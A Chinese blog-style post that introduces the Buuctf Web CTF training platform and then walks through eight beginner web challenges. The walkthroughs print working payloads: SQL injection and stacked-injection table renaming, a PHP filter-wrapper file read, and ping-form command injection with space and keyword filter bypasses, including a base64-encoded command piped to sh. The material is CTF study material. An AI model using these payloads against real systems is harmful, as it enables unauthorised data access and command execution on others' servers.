前言
Buuctf Web 是一个在线安全挑战平台，旨在提高参与者对安全>网络安全的理解和实践能力。本文将详细介绍 Buuctf Web 的特点、挑战和机遇，帮助读者更好地了解这一领域。
一、Buuctf Web 的特点
多样化的挑战场景：Buuctf Web 提供了多种挑战场景，包括 Web 漏洞利用、密码破解、CTF 夺旗等，涵盖了安全>网络安全领域的各个方面。
高质量的学习资源：平台提供了丰富的学习资源，包括视频教程、文章、案例分析等，帮助参与者提高技能水平。
实时排名和互动交流：Buuctf Web 支持实时排名和互动交流功能，参与者可以在平台上与其他选手一起讨论问题、分享经验。
二、Buuctf Web 的挑战
技术难度高：安全>网络安全领域涉及的知识面广泛，技术难度较高，需要参与者具备较高的技术水平和学习能力。
时间压力大：在 CTF 夺旗等挑战中，时间是非常宝贵的资源，需要在有限的时间内快速定位问题并找到解决方案。
需要团队协作：在某些挑战中，需要团队协作才能更好地完成任务，如何有效地分工和协作也是一大挑战。
三、Buuctf Web 的机遇
提高技能水平：通过参与 Buuctf Web 的挑战，参与者可以不断提高自己的技能水平，增强在安全>网络安全领域的竞争力。
拓展人脉资源：在平台上与其他选手交流互动，可以结识志同道合的朋友，拓展人脉资源。
获得实践机会：Buuctf Web 的挑战场景都是基于真实场景设计的，参与者在挑战中可以获得宝贵的实践机会。
为未来的工作做好准备：对于那些希望在未来从事安全>网络安全相关工作的参与者来说，参与 Buuctf Web 可以为他们未来的工作做好准备。通过参与 Buuctf Web 的挑战，他们可以了解行业最新的动态和技术趋势，提高自己的职业竞争力。
四、如何参与 Buuctf Web 的挑战？
注册账号：首先需要在 Buuctf Web 平台上注册一个账号。
选择挑战场景：根据自己的兴趣和需求选择相应的挑战场景。
学习相关知识：为了更好地完成挑战，需要提前学习相关知识，如 Web 安全、密码学等。
参与挑战：按照挑战的要求完成相应的任务，与其他选手竞争排名。
交流与分享：在平台上与其他选手交流经验、分享技巧，共同提高技术水平。
总结：Buuctf Web 作为一个在线安全挑战平台，为安全>网络安全爱好者提供了一个学习和交流的平台。通过参与 Buuctf Web 的挑战，不仅可以提高自己的技能水平，还可以拓展人脉资源、了解行业动态并为未来的工作做好准备。希望本文的介绍能帮助读者更好地了解 Buuctf Web 的特点、挑战和机遇，为未来的发展做好准备。
一、[极客大挑战 2019] EasySQL
点击链接进入靶场
登录页面，查看页面源代码发现没留注释
先输入 admin' or 1=1# 提交看看（根据题意猜测考察的 SQL 注入）
显示 Flag
二、[极客大挑战 2019] Havefun
打开靶场
页面只有一只猫，打开 F12 检查源代码
可以发现有段注释
<!--$cat=$_GET['cat'];echo $cat;if($cat=='dog'){echo 'Syc{cat_cat_cat_cat}';}-->含义为如果参数名 cat = dog 值，则输出 flag
在 URL 后面手动构造参数：/?cat=dog
三、[HCTF 2018] WarmUp
打开靶场
页面只有一个猥琐笑脸，F12 查看源代码发现有注释
URL 访问这个 PHP 文件
这里就考验的是代码审计了（大概过一下就行，看重点），观察代码可以发现有个 hint.php，尝试访问一下
提示了 Flag 文件地址，继续 URL 访问
根据 ffffllllaaaagggg 推测出大概路径
四、[ACTF2020 新生赛] Include
打开靶场
先 F12 检查源代码
发现只有超链接，点击跳转
并没有任何提示，根据题目文件猜测考察的是文件包含
flag 就藏在 flag.php 文件中，所以推测采用的是 PHP 伪协议：php://filter -- 对本地磁盘文件进行读写
构造 payload：
?file=php://filter/read=convert.base64-encode/resource=flag.php
# (base64解密就可以看到内容，这里如果不进行base64_encode，则被include进来的代码就会被执行，导致看不到源代码)拿到字符串进行解码操作
成功拿到 flag
五、[ACTF2020 新生赛] Exec
打开靶场
先 F12 检查源代码并没有发现注释
给出提示 Ping 应该是要咱们输入地址然后 Ping，这里输入回环地址试试
猜测存在漏洞，输入 | ls 测试
127.0.0.1 | ls显示文件 index.php，证明存在漏洞
继续测试上级目录
127.0.0.1 | ls /
发现 flag，查看内容
127.0.0.1 | cat /flag
六、[GXYCTF2019] Ping Ping Ping
打开靶场
F12 检查源代码没有发现注释
根据网页内容和题目名推测是让咱在 URL 路径上跟上参数然后执行 Ping 命令，这里先跟个 127.0.0.1 试试
/?ip=127.0.0.1有回显，推测存在漏洞
输入 | ls 测试
?ip=127.0.0.1 | ls发现被过滤，不加空格试试
?ip=127.0.0.1|ls发现 flag.php 文件
因为过滤了空格，所以要绕过一下（过滤了大多数符号，查看 index.php 文件即可）
?ip=127.0.0.1|cat$IFS$9index.php# $IFS是一个环境变量，用于设置shell中的字段分隔符。在这里，它被用作特殊字符
# $9只是当前系统shell进程的第九个参数的持有者，它始终为空字符串
发现很多都过滤了，但仍能绕过
方法一：利用变量代替关键字
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
方法二： 内联执行
先执行 ls 命令，再执行 cat
/?ip=127.0.0.1;cat$IFS$9`ls`
方法三：编码绕过
使用 base64 编码的方式来绕过 flag 过滤
/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
七、[SUCTF 2019] EasySQL
启动靶场
F12 检查源代码
输入 flag 测试
再输入数字型 1 测试
有回显，判断存在注入点，输入 1' 测试
没有回显，得盲注了，输入 1 # 测试
能显示正常结果，说明过滤做过滤，且能推测出数据库使用的是 MySQL（还可以输入 connection_id() 判断，结果与 1 是一致的）
输入 1,1 测试
再输入 2,1 测试
再输入 2,2 测试发现结果不变，说明第一个字段值影响结果
输入 *,1 测试找到 flag
八、[强网杯 2019] 随便注
打开靶场
给出了一个默认值 1，先提交看看
输入 1' 测试是否为注入点
输入
1' or 1=1 #
继续测试字段数
1' order by 1 # 
测试到 3 时报错，说明只有两个字段
直接堆叠注入爆破数据库
0';show databases;#
继续爆表
1';show tables;#
先爆破数字表（一看就不简单）
1';show columns from `1919810931114514 `;#
发现 flag 列，但是查询时发现 select 被过滤
再查看另一张表
1’;show columns from words;#
将words表名改为words1，再将数字表名改为words，这样查询语句就会查询数字表名，我们再将flag字段名改为id字段或者直接添加id字段，就可以达到使用原先代码中的查询语句对flag中的内容进行查询
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
最后输入万能密码 1' or 1=1 #
